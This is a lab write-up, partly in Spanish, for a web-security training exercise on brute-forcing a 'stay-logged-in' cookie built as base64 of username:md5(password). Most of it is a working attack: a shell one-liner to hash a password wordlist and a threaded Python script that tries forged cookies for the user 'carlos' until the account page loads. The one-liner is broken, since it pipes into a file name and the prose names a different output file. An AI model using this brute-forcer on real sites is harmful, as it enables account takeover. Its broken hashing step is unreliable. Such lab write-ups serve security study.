← Writeups

9 Brute forcing a stay logged in cookie

After selecting the option on the login page and observe the cookies:

d2llbmVyOjUxZGMzMGRkYzQ3M2Q0M2E2MDExZTllYmJhNmNhNzcw
wiener:51dc30ddc473d43a6011e9ebba6ca770

we decoded it with base64 and we get an string with the format user:password the password corresponds to 'peter' and it's md5 hashed.

So we can try to use the request which it is logged in and brute brute-force the cookie field with the provided wordlist with each password on md5 hash format.

Method 1

encode the entire wordlist

cat pass.txt | xargs -I {} sh -c 'echo -n "{}" | md5sum | cut -d" " -f1' | hashed_pass.txt

this cats the file pass.txt, then for each line it runs a shell command that echoes the line without a newline, pipes it to md5sum to get the hash, and then cuts the output to get just the hash value, which is then saved to hash.txt. xargs is used to handle the input from cat and run the command for each line in pass.txt. The -I {} option allows us to replace {} with the actual line from the file in the command we want to execute.

Aqui es importante resaltar que la cookie con la que jugaremos no tiene que ser la de la sesion del usuario wiener, en cambio la que recibimos por defecto antes de iniciar sesion.

#!/usr/bin/env python3

import requests
from threading import Thread
from time import sleep
from hashlib import md5
from base64 import b64encode
import sys

def fetchPasswordCookies(filename, username='carlos'):
    """Genera cookies en formato base64(username:md5(password)) para cada password"""
    cookies_list = []

    try:
        with open(filename, 'r', encoding='utf-8') as fd:
            for line in fd:
                password = line.strip()
                if not password:  # Saltar líneas vacías
                    continue
                    
                # Calcular MD5 de la contraseña
                password_hash = md5(password.encode('utf-8')).hexdigest()
                
                # Construir string username:hash y codificar en base64
                cookie_string = f'{username}:{password_hash}'
                cookie_base64 = b64encode(cookie_string.encode('utf-8')).decode('ascii')
                
                cookies_list.append(cookie_base64)
                
    except FileNotFoundError:
        print(f"[!] No se encontró el archivo: {filename}")
        sys.exit(1)
        
    return cookies_list

def sendRequest(url, cookieValue, session_cookie):
    """Envía una petición con la cookie específica y busca el botón Update email"""
    cookie = {
        'session': session_cookie,
        'stay-logged-in': cookieValue
    }

    try:
        response = requests.get(url, cookies=cookie, timeout=5)
        
        # Buscar el indicador de autenticación exitosa
        if 'Update email' in response.text:
            print(f'\n[+] ¡COOKIE VÁLIDA ENCONTRADA! {cookieValue}')
            print(response.text)
            print(f'[+] URL: {url}')
            # Podríamos guardar el resultado en un archivo
            with open('cookies_validas.txt', 'a') as f:
                f.write(f'{cookieValue}\n')
        else:
            # Mostrar progreso (opcional, comentar para reducir ruido)
            # print(f'[-] Probando: {cookieValue[:20]}...')
            pass
            
    except requests.exceptions.RequestException as e:
        print(f'[!] Error de conexión: {e}')

def main():
    # Configuración
    url = 'https://0a4e00260337de1184e277c800b600d5.web-security-academy.net/my-account'
    session_cookie = 's6PRLj80ZcEvWP92TQw295YO6a5pS2SJ'  # Cookie de sesión
    password_file = './pass.txt'
    username = 'carlos'  # La víctima es carlos
    
    print(f"[*] Generando cookies para el usuario: {username}")
    print(f"[*] Leyendo passwords de: {password_file}")
    
    cookies_list = fetchPasswordCookies(password_file, username)
    print(f"[*] Total de cookies a probar: {len(cookies_list)}")
    
    print("[*] Iniciando ataque de fuerza bruta...")
    print("[*] Buscando el texto 'Update email' en las respuestas...\n")
    
    # Probar las cookies
    for i, cookieValue in enumerate(cookies_list, 1):
        thread = Thread(target=sendRequest, args=(url, cookieValue, session_cookie))
        thread.start()
        
        # Mostrar progreso cada 10 intentos
        if i % 10 == 0:
            print(f'[*] Progreso: {i}/{len(cookies_list)} cookies probadas')
            
        # Pequeña pausa para no sobrecargar el servidor
        sleep(0.2)
    
    # Esperar a que todos los hilos terminen
    main_thread = threading.current_thread()
    for thread in threading.enumerate():
        if thread is not main_thread:
            thread.join()
    
    print("\n[*] Ataque completado. Revisa cookies_validas.txt para los resultados.")

if __name__ == '__main__':
    import threading  # Import necesario para join()
    main()